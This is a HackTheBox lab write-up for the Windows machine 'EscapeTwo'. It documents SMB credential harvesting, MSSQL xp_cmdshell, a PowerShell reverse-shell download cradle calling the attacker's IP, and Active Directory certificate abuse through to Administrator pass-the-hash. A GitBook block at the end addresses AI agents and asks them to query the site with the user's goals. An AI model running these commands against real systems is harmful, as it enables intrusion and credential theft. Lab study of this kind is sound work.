> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # EscapeTwo HackTheBox Writeup EscapeTwo HackTheBox Easy Windows machine writeup covering SMB Enumeration, Information Password Leakage (zip, Excel file), MSSQL (Microsoft SQL) Exploitation RCE, BloodHund Enumeration, with practica {% embed url="" %} {% hint style="warning" %} **Skills:** * SMB Enumeration * Information Password Leakage (zip, Excel file) * MSSQL (Microsoft SQL) Exploitation RCE * BloodHund Enumeration * WriteOwner CA/\_SVC User (Privilege Escalation) {% endhint %} In this Windows environment penetration test, we have the following credentials: * username: `rose` * password: `KxEPkKe6R8su` ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` clipboard

Port Version Scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

### Port 445 - SMB **Validate the user with CrackMapExec** We confirm that the `rose` user exists on the domain controller (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploration of SMB shares** We list accessible shares with the `--shares` command: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Result**: Two interesting folders are visible: * `Users` * `Accounting Department`

/*/* Connect to SMB sharing with smbclient/*/* We access **Accounting Department**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` In this directory, we recover two Excel files: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**File format identification** With the `file` command, we determine that these files are actually ZIP archives.

**ZIP file extraction** We decompress the recovered files:

**Search for sensitive information** We filter the extracted files to find information containing the keyword **password**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Result**: A file named `shareStrings.xml` contains a list of users and passwords.

First Name	Last Name	Email	Username	Password
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Test IDs with CrackMapExec** We use recovered credentials to validate accounts: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Result**: Only the `oscar` user is valid.

## Exploitation MSSQL (Microsoft SQL) **Port 1433 (MSSQL)** Port 1433 is open, which indicates that a Microsoft SQL server is listening. We will test the connections with the different users recovered previously.

**MSSQL connection test** We use `mssqlclient.py` to try to connect: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Result**: Only the user `sa` works. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Reverse Shell via MSSQL **Enable command execution** To execute system commands, we activate `xp_cmdshell`: ```sql enable_xp_cmdshell ``` We then test with a simple command, like `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Preparation of listening on our machine** We're launching a headphone at port 4444: ```bash rlwrap nc -nvlp 4444 ``` **Download a PowerShell script** We are preparing a PowerShell script called `PS.ps1` that includes a shell reverse command. At the end of the script, we add the following line: {% embed url="" %} At the end of the script, we add the following line: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` We host this script on a local web server: ```bash python3 -m http.server 80 ``` **Execution of reverse shell** From the MSSQL server, we execute the following command to download and run the PowerShell script: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivoting User Ryan **Discovered new credentials** By exploring the system, we discover a directory named **SQL2019** at the root. Inside, we find the following credentials: * Username : `ryan` * Password: `WqSZAF6CysDQbGb3`

**Validation of IDs with CrackMapExec** We check if these credentials are valid: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

By exploring shared directories, we identify a user named `ryan`. We test the same credentials as for `sql_svc`:

**Result**: Identifiers also work for the user `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Flag user.txt :)

## Privilege Escalation ### BloodHund-python Enumeration Command used: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Observation :**/ The **Ryan** user has the `WriteOwner` authorization in the **CA/ SVC** account, which is also the certificate issuer. This means that we can modify the account owner **CA/ SVC** to associate **Ryan**.

### Take control of CA/\_SVC with BloodyAD #### Change of account owner {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} The command uses BloodyAD to modify the owner of **CA/ SVC** and define it on **Ryan**. As owner, **Ryan** can now change the authorities associated with the account. ### Modify permissions with Dacledit #### Give full permission to Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} This command modifies the **DACL** (Discretionary Access Control List) of the **CA/ SVC** account to give total control to **Ryan**. This allows Ryan to reset the password or manipulate authentication keys.

### Shadow Credentials Extraction #### Generate and recover NT hash print {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

NT hash for **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` The **Certipy** command generates an identification key for **CA/ SVC**, enabling certificate-based authentication. A `.ccache` file is also generated, which facilitates Kerberos-based attacks. ### Modification of the model certificate #### Adjust the DunderMifflinAuthentication model {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

This command modifies the **DunderMifflinAuthentication** certificate template to allow the issuance of certificates with high privileges. ### Issuing a certificate for the administrator #### Request a certificate for impersonation {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

This command requires a certificate on behalf of the Administrator (`Administrator@sequel.htb`), allowing usurping the identity of this account. ### Authentication as Administrator #### Use of the certificate to authenticate ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**NTLMv2 Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

This command authenticates as Administrator with the previously obtained certificate and recovers the NTLM hash. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.